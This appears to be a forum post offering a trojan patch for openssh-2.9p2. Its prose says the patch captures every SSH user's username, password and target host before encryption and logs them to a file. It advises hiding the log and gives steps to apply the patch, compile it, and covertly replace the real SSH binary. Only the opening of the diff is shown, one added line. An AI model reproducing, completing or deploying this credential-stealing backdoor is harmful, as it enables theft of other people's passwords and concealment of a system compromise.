This is a patch for openssh-2.9p2 that will enable logging of the username, password and target system address whenever anyone uses SSH. The details are grabbed and logged before they are encrypted.
The code currently logs to /tmp/ssh.log - it is highly advised that you modify this to somewhere a little less obvious. To apply the patch, copy it into the directory where openssh-2.9p2 is and type: cat openssh-2.9p2-patch | patch Then compile it, and use a utility such as fix to replace the old SSH with the new version.
Code:
----cut---------- --_-- openssh-2.9p2-patch --_-- ----------cut----
Common subdirectories: old/contrib and new/contrib
Common subdirectories: old/openbsd-compat and new/openbsd-compat
diff -N -c old/ssh.c new/ssh.c
*** old/ssh.c Tue Apr 17 19:14:35 2001
--- new/ssh.c Thu Aug 9 11:59:42 2001
***************
*** 249,254 ****
--- 249,255 ----
struct passwd *pw;
int dummy;
uid_t original_effective_uid;
+ FILE *lg; //xxxx